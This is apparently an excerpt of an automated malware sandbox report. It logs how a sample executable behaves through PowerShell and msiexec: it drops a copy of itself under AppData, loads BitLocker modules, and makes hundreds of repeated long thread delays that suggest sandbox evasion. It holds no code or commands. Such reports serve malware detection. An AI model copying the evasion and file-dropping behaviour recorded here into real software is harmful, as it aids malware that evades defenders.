Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_09A939C1 push 8BD38B50h; iretd	2_2_09A939C6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_09A905AC push edx; iretd	2_2_09A905B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_09A90459 push edx; iretd	2_2_09A90475
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_09A9061F push 8BD68B50h; retf	2_2_09A90627

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\HVSU7GbA5N.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599327	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597141	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596594	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596266	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595171	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594625	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5733			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3957			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7820	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 7468	Thread sleep count: 1332 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 7468	Thread sleep count: 8529 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -599327s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -598891s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5292	Thread sleep time: -598016s >= -30000s	Jump to behavior
